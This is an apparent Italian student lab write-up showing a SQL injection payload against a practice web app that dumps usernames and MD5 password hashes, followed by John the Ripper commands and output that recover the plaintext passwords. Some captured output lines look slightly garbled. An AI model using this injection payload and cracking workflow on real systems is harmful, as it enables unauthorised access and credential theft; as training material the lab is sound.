

## W14D1 Traccia:password cracking

User ID:

ID: 1'UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin

ID: 1'UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1'UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1'UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1'UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1'UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Screenshot del risultato  
SQL Injection con  
relativi First name e  
relative password in  
MD5.

Per poter decriptare le password ho utilizzato il tool **John the Ripper** su Kali Linux.

**John The Ripper** è un software libero che semplifica le attività di cracking delle password: partendo dagli hash è possibile provare a risalire alle **password in chiaro**. Una caratteristica interessante di John The Ripper è che il software può rilevare automaticamente l'**algoritmo crittografico** utilizzato per generare gli hash di ciascuna password.

La stessa utilità è in grado di tentare il **password cracking** usando un "dizionario" di parole utilizzate comunemente dagli utenti per proteggere i loro account. Conoscendo gli hash di ciascun elemento del dizionario, John The Ripper può risalire alle password originali anche per quegli algoritmi di hashing che non soffrono di alcuna vulnerabilità.

Prima di procedere con l'utilizzo del tool è stato creato un file chiamato '**hashes.txt**' in cui sono state inserite le password precedentemente trovate.

Successivamente si procede:

- Aprendo la shell
- Digitare il comando: john --format=Raw-MD5 hashes.txt

```
(kali㉿kali)-[~]
└─$ john --format=raw-md5 hashes.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Most done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password (?)
password SP Bypass (?)
abc123 JavaScript (?)
letmein (?)
Proceeding with incremental:ASCII
charley (?)
5g 0:00:00:00 DONE 3/3 (2024-08-20 13:06) 15.15g/s 540454p/s 540454c/s 545109C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

```
(kali㉿kali)-[~]
└─$ cat /home/kali/.john/john.pot
$dynamic_0$5f4dcc3b5aa765d61d8327deb882cf99:password
$dynamic_0$e99a18c428cb38d5f260853678922e03:abc123
$dynamic_0$0d107d09f5bbe40cade3de5c71e9e9b7:letmein
$dynamic_0$8d3533d75ae2c3966d7e0d4fcc69216b:charley
```

Nella prima immagine viene riportato il risultato del comando precedentemente scritto.

Nella seconda immagine sono riportate le varie password criptate con le relative password in chiaro.